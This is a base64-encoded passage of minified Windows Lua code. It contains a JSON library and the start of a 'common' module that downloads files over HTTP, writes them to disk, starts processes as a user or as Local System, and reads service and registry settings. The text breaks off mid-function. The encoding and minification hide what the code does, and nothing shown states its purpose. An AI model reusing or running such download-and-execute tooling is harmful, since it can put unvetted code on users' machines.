PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
